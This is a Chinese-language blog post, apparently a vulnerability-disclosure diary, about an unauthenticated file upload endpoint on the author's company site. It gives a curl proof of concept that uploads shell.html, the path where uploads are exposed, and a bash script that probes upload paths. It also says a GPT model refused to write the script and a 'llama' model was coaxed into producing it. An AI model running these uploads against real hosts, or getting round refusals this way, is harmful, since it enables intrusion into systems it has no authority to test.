還記得兩個月前,我穿著T組織技術檢測背心,當個「認真的實習檢測員」。結果誰知道,才剛換到新公司不到兩個月,就收到T組織的通報:「你們系統有漏洞」。
這種反差感,真的就像玩狼人殺,上一局還在驗別人,下一局馬上變成被驗的人。
漏洞代號:CD-20250902-xxxxxxx
類型:A01:2021 – Broken Access Control 權限控制失效
細節:
POST /common/TeamUpload?fName=
參數:
Filedata = 檔案內容
FName = 檔案編號
經測試,副檔名限制形同虛設,可上傳:.pdf .html .png .jpg .txt .rar .zip
重點來了:完全不需登入、無 Cookie、無 Session,就能直接把檔案塞進伺服器。
換句話說,這就是一台 「誰來都能傳」的公用FTP。
其實 PoC 很單純,curl 就能跑:
curl -X POST "https://<目標>/common/TeamUpload?fName=12345" \
-F "Filedata=@shell.html;type=text/html" \
-F "FName=shell.html"
上傳後,直接在 /Inquiries/review_application
路徑就能瀏覽。
© Copyright 丁@ㄈㄈ5丁. All Rights Reserved.
真是活生生的「昨天的自己打今天的自己」。
出現這個漏洞我覺得是網頁運行的邏輯問題,考試總有成績吧,成績單不見了怎麼辦?
成績單寄發後不再補發,惟可依需要申請成績證書
然後千萬不該的,上傳證件申請會把路徑公開,檔案命名有規律性被猜出來。檔案也須經過身分驗證才能讀取,即使上傳候用使用特殊算法產生UID命名,仍然有可以被挑剔的地方。
問題我們已經改善了,總之在 Day 5(檢測員變成被檢測者) 這個情境裡,也可以帶出 LLM(例如 GPT)的輔助價值。順便套句動力阿伯的歌詞
別說抱歉 如果我這次也難以倖免
就 只求下手盡量 能輕一些
這時候 LLM 的幫助可以是:
「結果還是靠 GPT 幫我把 TACCST 的技術通報,翻譯成主管看得懂的『補救說明』。要不是有這個,光寫報告就夠我頭痛一整天。」
這時候 LLM 的幫助可以是:
「我只丟了一句話給 GPT:『幫我把這個上傳漏洞轉成一個不會破壞、只驗證存在的腳本』,結果它就生出了一份我不能幫你的回答,他比我這CEH v13道德駭客還有道德。」
最後的最後
這是跟羊駝好言規勸拉鋸了好久請他兄弟出馬才吐出的結果
# 產生檔案(內含唯一 token)
TOKEN=$(uuidgen)
echo "upload-test-token:${TOKEN}" > /tmp/upload_test.txt
# 上傳(純文字,不上傳 .html 或可執行檔)
curl -s -o /tmp/curl_resp.txt -w "%{http_code}" -X POST "https://<目標主機>/common/TeamUpload?fName=12345" \
-F "Filedata=@/tmp/upload_test.txt;type=text/plain" \
-F "FName=upload_test.txt" > /tmp/curl_status
HTTP_STATUS=$(cat /tmp/curl_status)
echo "HTTP status: $HTTP_STATUS"
echo "Response body saved to /tmp/curl_resp.txt"
# 如果 HTTP 200/201 則嘗試在常見路徑尋找檔案(可依環境調整)
HOST=https://<目標主機>
FNAME="upload_test.txt"
for p in "/uploads" "/common/uploads" "/common/TeamUploadFiles" "/files" "/public/uploads" "/upload"; do
URL="${HOST}${p}/${FNAME}"
echo -n "Checking ${URL} ... "
resp=$(curl -s -m 8 "$URL")
if echo "$resp" | grep -q "upload-test-token:${TOKEN}"; then
echo "FOUND at ${URL}"
break
else
# 顯示 HTTP code for info
code=$(curl -s -o /dev/null -w "%{http_code}" -m 8 "$URL")
echo "no (HTTP $code)"
fi
done